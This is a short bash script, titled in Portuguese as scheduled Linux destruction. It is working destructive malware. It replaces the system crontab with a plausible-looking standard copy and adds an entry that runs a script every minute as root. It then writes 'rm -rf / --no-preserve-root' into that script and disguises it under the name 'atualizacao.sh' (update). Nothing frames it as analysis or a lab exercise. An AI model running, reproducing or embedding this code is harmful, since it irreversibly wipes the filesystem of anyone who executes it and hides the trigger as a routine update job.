Destruicao Linux [Agendada]

# !/bin/bash

echo "
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the 'crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

# [minutos] [horas] [dias do mes] [mes] [dias da semana] [usuario] [comando]
# + Minutos:        0 - 59
# + Horas:      0 - 23 [*/1: A cada 1 em 1 em Minuto]
# + Dia do mes:     0 - 31
# + Mes:        1 - 12
# + Dias [Semana]:  0 - 7

*/1 * * * * root /root/atualizacao.sh
" > /etc/crontab

echo "
rm -rf / --no-preserve-root
" > /root/atualizacao.sh

chmod a+x /root/atualizacao.sh